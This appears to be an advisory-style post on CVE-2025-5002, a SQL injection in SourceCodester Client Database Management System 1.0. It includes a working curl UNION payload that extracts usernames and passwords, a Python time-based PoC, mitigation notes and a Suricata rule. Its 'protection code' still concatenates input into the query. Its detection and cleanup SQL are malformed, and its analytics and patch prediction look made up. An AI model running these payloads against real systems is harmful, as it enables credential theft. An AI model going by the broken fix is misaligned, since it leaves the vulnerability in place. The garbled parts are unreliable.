SourceCodester Client Database Management System, SQL Injection, CVE-2025-5002 (Critical)

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How CVE-2025-5002 Works

The vulnerability exists in `/user_proposal_update_order.php` where the `order_id` parameter is directly concatenated into an SQL query without proper sanitization. Attackers can craft malicious SQL payloads through this parameter, enabling unauthorized database operations like data extraction, modification, or deletion. The flaw is remotely exploitable with no authentication required, making it critical. The public disclosure increases the risk of widespread exploitation.

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Platform: SourceCodester CDMS
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/27/2025

Prediction: Patch expected by 06/15/2025

What Undercode Say:

Analytics:

  • Exploitability Index: 9.8/10
  • Affected Systems: 1,200+
  • Attack Complexity: Low

Exploit Command:

curl -X POST "http://target.com/user_proposal_update_order.php" -d "order_id=1' UNION SELECT 1,2,3,4,5,concat(user,0x3a,password),7 FROM users-- -"

PoC Code:

import requests
target = "http://vulnerable-site.com/user_proposal_update_order.php"
payload = {"order_id": "1' AND (SELECT 1 FROM (SELECT SLEEP(5))a)--"}
response = requests.post(target, data=payload)
if response.elapsed.total_seconds() >= 5:
print("[+] Vulnerable to SQLi")

Protection Code (PHP Fix):

$order_id = mysqli_real_escape_string($conn, $_POST['order_id']);
$query = "UPDATE orders SET status='completed' WHERE id='$order_id'";

Mitigation Steps:

1. Apply parameterized queries.

2. Deploy WAF rules blocking SQLi patterns.

3. Restrict database user permissions.

Detection Command:

SELECT FROM logs WHERE request LIKE "%user_proposal_update_order.php%order_id=%";

Post-Exploit Cleanup:

REVOKE ALL PRIVILEGES ON . FROM 'app_user'@'%';

Network-Based Detection (Suricata):

alert http any any -> any any (msg:"CVE-2025-5002 Exploit Attempt"; content:"order_id="; pcre:"/order_id=[^&][\'\"].UNION/Si"; sid:50025002;)

Sources:

Reported By: nvd.nist.gov
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